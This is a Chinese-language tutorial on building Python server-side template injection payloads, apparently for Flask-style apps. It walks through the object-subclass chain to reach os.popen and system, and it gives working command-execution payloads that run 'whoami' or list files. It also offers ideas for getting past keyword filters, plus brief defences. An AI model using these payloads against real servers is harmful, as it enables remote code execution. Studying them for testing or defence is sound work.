pythonweb SSTI的payload构造思路研究
字数 1343 2025-08-12 11:34:03
Python Web SSTI Payload构造思路研究
1. SSTI基础原理
SSTI (Server-Side Template Injection) 是一种服务器端模板注入漏洞,当攻击者能够将恶意模板代码注入到服务器端模板引擎中时,可能导致远程代码执行(RCE)。
在Python Web框架中,如Flask、Django等,当开发者直接将用户输入作为模板渲染时,就可能存在SSTI漏洞。
2. 核心Payload构造思路
2.1 基本链条
大多数Python SSTI payload都基于以下链条构造:
''.__class__.__base__.__subclasses__()
2.2 各组成部分详解
''- 一个字符串对象,type('')的结果是<class 'str'>__class__- 获取对象所属的类''.__class__的结果仍然是<class 'str'>- 区别在于前者是类,后者是对象
__base__- 获取指定类的基类(父类)''.__class__.__base__的结果是<class 'object'>- 在Python3中,所有类都默认继承Object类
__subclasses__()- Object类的静态方法- 获取指定类的所有子类,返回一个列表
- 因为是个方法,所以必须有括号
- 返回当前模块所有继承Object类的子类
2.3 典型Payload分析
"".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
这个payload的执行流程:
- 从空字符串开始
- 获取其类(
str) - 获取基类(
object) - 获取所有子类列表
- 选择第128个子类(通常是
os._wrap_close) - 获取其
__init__方法 - 通过
__globals__获取模块全局变量 - 访问
popen函数并执行系统命令 - 读取命令输出
3. 关键概念详解
3.1 __globals__属性
- Python中每个函数都拥有
__globals__属性 - 存储当前模块全局可读的变量,以字典形式
- 必须由函数方法调用
- 示例:
会返回os模块的全局变量字典"".__class__.__base__.__subclasses__()[128].__init__.__globals__
3.2 子类索引问题
__subclasses__()返回的列表顺序可能因环境而异- 索引128对应
os._wrap_close类,但可能变化 - 需要根据实际环境调整索引值
- 可以通过遍历查找特定类:
for i, cls in enumerate(''.__class__.__base__.__subclasses__()): if 'os' in str(cls): print(i, cls)
4. Payload构造步骤分解
a = "" # 空字符串对象
b = "".__class__ # <class 'str'>
c = "".__class__.__base__ # <class 'object'>
d = "".__class__.__base__.__subclasses__() # 所有子类列表
e = "".__class__.__base__.__subclasses__()[128] # 通常是<class 'os._wrap_close'>
f = "".__class__.__base__.__subclasses__()[128].__init__ # 初始化方法
g = "".__class__.__base__.__subclasses__()[128].__init__.__globals__ # 全局变量
h = "".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami') # 执行命令
i = h.read() # 读取命令输出
5. 替代利用方式
除了popen,还可以利用__globals__中的其他函数:
-
system()函数:"".__class__.__base__.__subclasses__()[128].__init__.__globals__['system']('whoami') -
其他os模块函数:
"".__class__.__base__.__subclasses__()[128].__init__.__globals__['listdir']('.')
6. 环境影响因素
-
导入的库会影响子类列表:
- 不导包或只导内置模块时,子类数量较少
- 导入外部包时,继承Object类的子类变多
-
环境重启可能影响子类顺序:
- 可能导致索引值变化
- 需要重新确定目标类的位置
7. 防御措施
- 避免直接渲染用户输入
- 对模板变量进行严格的过滤和转义
- 使用沙箱环境限制模板执行能力
- 禁用危险的模板功能
8. 扩展思路
- 查找其他可利用的类而不仅限于
os._wrap_close - 利用
__builtins__访问内置函数 - 通过
__getattribute__绕过过滤 - 使用字符串拼接绕过关键字过滤
通过深入理解这些原理,可以灵活构造各种SSTI payload,也能更好地防御此类攻击。